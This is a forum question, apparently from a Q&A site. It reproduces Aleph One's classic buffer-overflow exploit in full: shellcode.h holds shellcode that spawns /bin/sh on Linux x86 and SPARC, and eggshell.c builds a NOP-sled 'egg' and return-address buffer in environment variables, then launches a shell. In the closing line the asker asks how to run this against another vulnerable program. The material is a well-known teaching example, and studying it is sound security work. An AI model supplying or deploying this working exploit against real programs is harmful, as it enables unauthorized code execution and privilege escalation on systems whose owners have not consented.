title: Aleph one code - buffer overflow
body: <p>I got this code of aleph one:</p>
  
  <h2>shellcode.h</h2>
  
  <pre><code>#if defined(__i386__) &amp;&amp; defined(__linux__)
  
  #define NOP_SIZE    1
  char nop[] = "\x90";
  char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  
  unsigned long get_sp(void) {
     __asm__("movl %esp,%eax");
  }
  
  #elif defined(__sparc__) &amp;&amp; defined(__sun__) &amp;&amp; defined(__svr4__)
  
  #define NOP_SIZE    4
  char nop[]="\xac\x15\xa1\x6e";
  char shellcode[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
    "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
  
  unsigned long get_sp(void) {
    __asm__("or %sp, %sp, %i0");
  }
  
  #elif defined(__sparc__) &amp;&amp; defined(__sun__)
  
  #define NOP_SIZE        4
  char nop[]="\xac\x15\xa1\x6e";
  char shellcode[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
    "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
  
  unsigned long get_sp(void) {
    __asm__("or %sp, %sp, %i0");
  }
  
  #endif
  </code></pre>
  
  <h2>eggshell.c</h2>
  
  <pre><code>/*
   * eggshell v1.0
   *
   * Aleph One / aleph1@underground.org
   */
  #include &lt;stdlib.h&gt;
  #include &lt;stdio.h&gt;
  #include "shellcode.h"
  
  #define DEFAULT_OFFSET                    0
  #define DEFAULT_BUFFER_SIZE             512
  #define DEFAULT_EGG_SIZE               2048
  
  void usage(void);
  
  void main(int argc, char *argv[]) {
    char *ptr, *bof, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
  
    while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
      switch (c) {
        case 'a':
          align = atoi(optarg);
          break;
        case 'b':
          bsize = atoi(optarg);
          break;
        case 'e':
          eggsize = atoi(optarg);
          break;
        case 'o':
          offset = atoi(optarg);
          break;
        case '?':
          usage();
          exit(0);
      }
  
    if (strlen(shellcode) &gt; eggsize) {
      printf("Shellcode is larger the the egg.\n");
      exit(0);
    }
  
    if (!(bof = malloc(bsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
    }
    if (!(egg = malloc(eggsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
    }
  
    addr = get_sp() - offset;
    printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
      bsize, eggsize, align);
    printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
  
    addr_ptr = (long *) bof;
    for (i = 0; i &lt; bsize; i+=4)
      *(addr_ptr++) = addr;
  
    ptr = egg;
    for (i = 0; i &lt;= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
      for (n = 0; n &lt; NOP_SIZE; n++) {
        m = (n + align) % NOP_SIZE;
        *(ptr++) = nop[m];
      }
  
    for (i = 0; i &lt; strlen(shellcode); i++)
      *(ptr++) = shellcode[i];
  
    bof[bsize - 1] = '\0';
    egg[eggsize - 1] = '\0';
  
    memcpy(egg,"EGG=",4);
    putenv(egg);
  
    memcpy(bof,"BOF=",4);
    putenv(bof);
    system("/bin/sh");
  }
  
  void usage(void) {
    (void)fprintf(stderr,
      "usage: eggshell [-a &lt;alignment&gt;] [-b &lt;buffersize&gt;] [-e &lt;eggsize&gt;] [-o &lt;offset&gt;]\n");
  }
  </code></pre>
  
  <p>I'm trying to use this exploit on another vulnerable program and I understood that I need to activate the other vulnerable program through the aleph one program. could somebody please tell me how to do that? </p>